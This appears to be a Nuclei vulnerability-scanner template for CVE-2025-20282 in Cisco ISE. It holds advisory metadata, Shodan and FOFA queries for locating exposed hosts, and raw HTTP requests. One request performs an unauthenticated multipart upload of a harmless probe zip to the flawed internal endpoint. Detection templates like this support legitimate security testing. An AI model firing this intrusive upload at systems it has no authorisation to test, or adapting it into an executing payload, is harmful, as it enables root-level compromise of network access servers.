Cisco ISE < 3.4P2 - Unauthenticated Arbitrary File Upload

id: CVE-2025-20282

info:
  name: Cisco ISE < 3.4P2 - Unauthenticated Arbitrary File Upload
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    Cisco ISE and Cisco ISE-PIC contain an unrestricted file upload vulnerability caused by lack of file validation in an internal API, letting unauthenticated remote attackers upload and execute files as root, exploit requires crafted file upload.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary files as root, leading to full system compromise.
  remediation: |
    Update to the latest Cisco ISE and Cisco ISE-PIC versions with security patches.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6
    - https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/
    - https://github.com/skadevare/CiscoISE-CVE-2025-20282-POC
    - https://nvd.nist.gov/vuln/detail/CVE-2025-20282
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-20282
    cwe-id: CWE-434
    epss-score: 0.12033
    epss-percentile: 0.95719
    cpe: cpe:2.3:a:cisco:identity_services_engine:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cisco
    product: identity_services_engine
    shodan-query: '"Set-Cookie: APPSESSIONID=" "Path=/admin"'
    fofa-query: title="identity services engine"
  tags: cve,cve2025,cisco,cisco-ise,rce,file-upload,intrusive,vkev

variables:
  probe_zip: "{{base64_decode('UEsDBBQAAAAAAHcdA12wBb+DFAAAABQAAAAJAAAAcHJvYmUudHh0Q1ZFLTIwMjUtMjAyODItcHJvYmVQSwECFAMUAAAAAAB3HQNdsAW/gxQAAAAUAAAACQAAAAAAAAAAAAAAgAEAAAAAcHJvYmUudHh0UEsFBgAAAAABAAEANwAAADsAAAAAAA==')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /admin/login.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "APPSESSIONID=")'
        internal: true

  - raw:
      - |
        POST /admin/files-upload/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----ISEProbe202520282

        ------ISEProbe202520282
        Content-Disposition: form-data; name="file"; filename="probe.zip"
        Content-Type: application/zip

        {{probe_zip}}
        ------ISEProbe202520282--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 422'
          - 'contains(header, "walkme.com")'
        condition: and
# digest: 4b0a00483046022100c2b4ed8059eaf77671d17092068fc4b1a34c772c3c88daf171a567a1fa32e346022100cadbdbb4bbd898b2bfe7ab8579d13ab67d4a828e6dd451a81a32955452378097:922c64590222798bb761d5b6d8e72950